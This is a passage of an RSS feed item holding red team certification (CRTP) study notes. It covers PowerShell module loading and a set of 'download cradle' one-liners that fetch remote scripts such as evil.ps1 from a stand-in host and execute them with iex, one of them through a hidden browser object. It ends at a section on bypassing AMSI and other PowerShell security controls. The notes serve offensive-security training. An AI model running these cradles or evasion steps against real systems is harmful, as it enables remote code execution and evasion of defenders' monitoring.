<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Notes on</title><link>https://4ym3nn.github.io/tags/notes/</link><description>Recent content in Notes on</description><generator>Hugo</generator><language>en-us</language><lastBuildDate>Tue, 09 Jun 2026 17:35:00 +0100</lastBuildDate><atom:link href="https://4ym3nn.github.io/tags/notes/index.xml" rel="self" type="application/rss+xml"/><item><title>Certified Red Team Professional (CRTP) - Course Summary Notes</title><link>https://4ym3nn.github.io/reviews/crtp-summary/</link><pubDate>Tue, 09 Jun 2026 17:35:00 +0100</pubDate><guid>https://4ym3nn.github.io/reviews/crtp-summary/</guid><description>&lt;h1 id="1-powershell-basics">1. PowerShell Basics&lt;/h1>
&lt;h2 id="importing-modules">Importing Modules&lt;/h2>
&lt;ul>
&lt;li>Load a PowerShell script using &lt;strong>dot sourcing&lt;/strong>:&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-powershell" data-lang="powershell">&lt;span style="display:flex;">&lt;span>. C:\AD\Tools\PowerView.ps1
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>A module (or a script) can be imported with:&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-powershell" data-lang="powershell">&lt;span style="display:flex;">&lt;span>Import-Module C:\AD\Tools\ADModulemaster\ActiveDirectory\ActiveDirectory.psd1
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>All the commands in a module can be listed with:&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-powershell" data-lang="powershell">&lt;span style="display:flex;">&lt;span>Get-Command -Module &amp;lt;modulename&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="powershell-script-execution---download-cradles">PowerShell Script Execution - Download Cradles&lt;/h2>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-powershell" data-lang="powershell">&lt;span style="display:flex;">&lt;span>iex (New-Object Net.WebClient).DownloadString(&lt;span style="color:#e6db74">&amp;#39;https://webserver/payload.ps1&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-powershell" data-lang="powershell">&lt;span style="display:flex;">&lt;span>$ie=New-Object -ComObject
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>InternetExplorer.Application;$ie.visible=$False;$ie.navigate(&lt;span style="color:#e6db74">&amp;#39;http://192.168.230.1/evil.ps1&amp;#39;&lt;/span>);sleep &lt;span style="color:#ae81ff">5&lt;/span>;$response=$ie.Document.body.innerHTML;$ie.quit();iex $response
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-powershell" data-lang="powershell">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># PSv3 onwards&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>iex (iwr &lt;span style="color:#e6db74">&amp;#39;http://192.168.230.1/evil.ps1&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-powershell" data-lang="powershell">&lt;span style="display:flex;">&lt;span>$h=New-Object -ComObject
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Msxml2.XMLHTTP;$h.open(&lt;span style="color:#e6db74">&amp;#39;GET&amp;#39;&lt;/span>,&lt;span style="color:#e6db74">&amp;#39;http://192.168.230.1/evil.ps1&amp;#39;&lt;/span>,$false);$h.send();iex
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$h.responseText
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-powershell" data-lang="powershell">&lt;span style="display:flex;">&lt;span>$wr = [&lt;span style="color:#66d9ef">System.NET.WebRequest&lt;/span>]::Create(&lt;span style="color:#e6db74">&amp;#34;http://192.168.230.1/evil.ps1&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$r = $wr.GetResponse()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>IEX ([&lt;span style="color:#66d9ef">System.IO.StreamReader&lt;/span>]($r.GetResponseStream())).ReadToEnd()
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;hr>
&lt;h1 id="2-powershell-security--evasion">2. PowerShell Security &amp;amp; Evasion&lt;/h1>
&lt;h2 id="powershell-detections">PowerShell Detections&lt;/h2>
&lt;ol>
&lt;li>&lt;strong>System-wide transcription&lt;/strong>&lt;/li>
&lt;li>&lt;strong>Script Block logging&lt;/strong>&lt;/li>
&lt;li>&lt;strong>AMSI&lt;/strong>&lt;/li>
&lt;li>&lt;strong>CLM&lt;/strong> - Integrated with AppLocker and WDAC (Device Guard)&lt;/li>
&lt;/ol>
&lt;h2 id="bypassing-powershell-security">Bypassing PowerShell Security&lt;/h2>
&lt;p>&lt;strong>Using Invisi-Shell:&lt;/strong>&lt;/p></description></item></channel></rss>